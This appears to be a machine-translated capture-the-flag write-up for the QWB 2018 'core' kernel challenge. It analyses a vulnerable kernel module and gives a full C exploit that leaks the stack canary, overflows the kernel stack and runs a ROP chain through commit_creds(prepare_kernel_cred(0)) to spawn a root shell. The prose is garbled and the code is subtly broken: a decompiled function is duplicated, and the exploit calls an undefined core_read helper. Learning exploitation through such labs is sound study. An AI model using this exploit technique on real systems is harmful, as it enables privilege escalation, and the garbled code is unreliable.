Foreword: I just started the core problem recently, so I'll learn from ctfwiki here. Don't spray...
The first step is classic... If the title is not given to vmlinux, it can be extracted through extract vmlinux.
See start SH finds that kalsr randomization is enabled, and the base address needs to be leaked. This is very similar to the pwn problem in user status
Take a look at init:
#!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko #poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f In line 9 kallsyms Your content has been saved to /tmp/kallsyms So we can start from /tmp/kallsyms Read in commit_creds,prepare_kernel_cred The address of the function Line 10 kptr_restrict Set to 1, so you can't pass /proc/kallsyms Look at the function address, but line 9 has saved the information in a readable file. This sentence doesn't matter Line 11 dmesg_restrict Set to 1, so you can't pass dmesg see kernel I've got your information In line 18, a timed shutdown is set. In order to avoid interference when doing questions, delete this sentence directly and repackage it
Check the following drive protection:
[*] '/home/roo/Desktop/maxbosctf/QWBcore2018/give_to_player/tmp/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
Canary found is enabled, and canary needs to be disclosed
Add core Ko drag to IDA for reverse analysis
init_module() registers / proc/core | |
__int64 init_module() | |
{ | |
core_proc = proc_create("core", 438LL, 0LL, &core_fops); | |
printk("\x016core: created /proc/core entry\n"); | |
return 0LL; | |
} |
exit_core() delete / proc/core
__int64 exit_core() | |
{ | |
__int64 result; // rax | |
if ( core_proc ) | |
result = remove_proc_entry("core"); | |
return result; | |
} |
exit_core() delete / proc/core
__int64 exit_core() | |
{ | |
__int64 result; // rax | |
if ( core_proc ) | |
result = remove_proc_entry("core"); | |
return result; | |
} |
core_ioctl() defines three commands that call core_read(),core_copy_func() and set the global variable off
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) | |
{ | |
switch ( a2 ) | |
{ | |
case 0x6677889B: | |
core_read(a3); | |
break; | |
case 0x6677889C: | |
printk("\x016core: %d\n"); | |
off = a3; | |
break; | |
case 0x6677889A: | |
printk("\x016core: called core_copy\n"); | |
core_copy_func(a3); | |
break; | |
} | |
core_copy_func(v3); | |
} |
core_read() copies 64 bytes from v4[off] to the user space, but it should be noted that the global variable off enables us to control, so we can reasonably control off to leave canary and some addresses
void __fastcall core_read(__int64 a1) | |
{ | |
__int64 v1; // rbx | |
char *v2; // rdi | |
signed __int64 i; // rcx | |
char v4[64]; // [rsp+0h] [rbp-50h] | |
unsigned __int64 v5; // [rsp+40h] [rbp-10h] | |
v1 = a1; | |
v5 = __readgsqword(0x28u); | |
printk("\x016core: called core_read\n"); | |
printk("\x016%d %p\n"); | |
v2 = v4; | |
for ( i = 16LL; i; --i ) | |
{ | |
*(_DWORD *)v2 = 0; | |
v2 += 4; | |
} | |
strcpy(v4, "Welcome to the QWB CTF challenge.\n"); | |
if ( copy_to_user(v1, &v4[off], 64LL) ) | |
__asm { swapgs } | |
} |
core_copy_func() copies data from the global variable name to the local variable. The length is specified by us. Note that qmemcpy uses unsigned__ Int16, but the length passed is signed__ Int64, so if the length of the control input is 0xffffffffffff0000|(0x100) equivalent, the stack can overflow
void __fastcall core_copy_func(signed __int64 a1) | |
{ | |
char v1[64]; // [rsp+0h] [rbp-50h] | |
unsigned __int64 v2; // [rsp+40h] [rbp-10h] | |
v2 = __readgsqword(0x28u); | |
printk("\x016core: called core_writen"); | |
if ( a1 > 63 ) | |
printk("\x016Detect Overflow"); | |
else | |
qmemcpy(v1, name, (unsigned __int16)a1); // overflow | |
} |
core_write() writes to the global variable name through the core_write() and core_copy_func() can control ropchain
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3) | |
{ | |
unsigned __int64 v3; // rbx | |
v3 = a3; | |
printk("\x016core: called core_writen"); | |
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) ) | |
return (unsigned int)v3; | |
printk("\x016core: error copying data from userspacen"); | |
return 0xFFFFFFF2LL; | |
}. |
Through the above analysis, the following ideas can be obtained:
Set off through ioctl, and then through core_read() leak canary
Through core_write() writes to name to construct ropchain
Through core_copy_func() writes from name to a local variable, and ROPS by setting a reasonable length and canary
Commit via rop_ creds(prepare_kernel_cred(0))
Return to the user status and start the shell through system("/bin/sh")
How to get commit_creds(),prepare_kernel_cred() address? | |
/These addresses are saved in tmp/kallsyms and can be read directly. At the same time, the address of gadgets can be determined according to the fixed offset | |
How to return to user status? | |
swapgs; iretq, as mentioned earlier, you need to set cs, rflags and other information. You can write a function to save these information |
exp:
include <string.h> include <stdio.h> include <stdlib.h> include <unistd.h> include <fcntl.h> include <sys/stat.h> include <sys/types.h> include <sys/ioctl.h> void spawn_shell() { if(!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); } size_t commit_creds = 0, prepare_kernel_cred = 0; size_t raw_vmlinux_base = 0xffffffff81000000; /* give_to_player [master●●] check ./core.ko ./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) */ size_t vmlinux_base = 0; size_t find_symbols() { FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r"); /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */ if(kallsyms_fd < 0) { puts("[*]open kallsyms error!"); exit(0); } char buf[0x30] = {0}; while(fgets(buf, 0x30, kallsyms_fd)) { if(commit_creds & prepare_kernel_cred) return 0; if(strstr(buf, "commit_creds") && !commit_creds) { /* puts(buf); */ char hex[20] = {0}; strncpy(hex, buf, 16); /* printf("hex: %s\n", hex); */ sscanf(hex, "%llx", &commit_creds); printf("commit_creds addr: %p\n", commit_creds); /* * give_to_player [master●●] bpython bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n >>> from pwn import * >>> vmlinux = ELF("./vmlinux") [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0xffffffff81000000) RWX: Has RWX segments >>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000) '0x9c8e0' */ vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n", vmlinux_base); } if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { /* puts(buf); */ char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0; /* printf("vmlinux_base addr: %p\n", vmlinux_base); */ } } if(!(prepare_kernel_cred & commit_creds)) { puts("[*]Error!"); exit(0); } } size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } void set_off(int fd, long long idx) { printf("[*]set off to %ld\n", idx); ioctl(fd, 0x6677889C, idx); } void core_copy_func(int fd, long long size) { printf("[*]copy from user with size: %ld\n", size); ioctl(fd, 0x6677889A, size); } int main() { save_status(); int fd = open("/proc/core", 2); if(fd < 0) { puts("[*]open /proc/core error!"); exit(0); } find_symbols(); // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base; ssize_t offset = vmlinux_base - raw_vmlinux_base; set_off(fd, 0x40); char buf[0x40] = {0}; core_read(fd, buf); size_t canary = ((size_t *)buf)[0]; printf("[+]canary: %p\n", canary); size_t rop[0x1000] = {0}; int i; for(i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, 0x800); core_copy_func(fd, 0xffffffffffff0000 | (0x100)); return 0; }
Compile:
gcc exploit.c -static -masm=intel -g -o exploit
1. Because the user status needs to be returned, save is used_ The status function saves the register values of cs, rsp, ss and rflags
2. Since kaslr is enabled, read the commit from / tmp/kallsyms_ creds,prepare_ kernel_ The address of cred is determined by the function find_symbols, and calculate the program base address
3.core_ read,core_ copy_ func,set_ The three off functions realize the necessary functions of the driver, spawn_shell is used to get shell when returning user status
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret | |
rop[i++] = 0; | |
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) | |
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret | |
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret | |
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; | |
rop[i++] = commit_creds; |
First, prepare is executed_ kernel_ Cred (0), return value to rax register, then rax to rdi and execute commit_creds, successfully promoted the user authority to root
Since the call instruction will push the RIP on the next line of the calling function onto the stack, and this gadget has no ret instruction, store a gadget in rdx, put the original RIP into the general register and return to commit_ At the creds pointer, set it manually
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret | |
rop[i++] = 0; | |
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; | |
rop[i++] = (size_t)spawn_shell; // rip | |
rop[i++] = user_cs; | |
rop[i++] = user_rflags; | |
rop[i++] = user_sp; | |
rop[i++] = user_ss; |
Summary: I have learned the technology of kernel rop and hope to make further progress..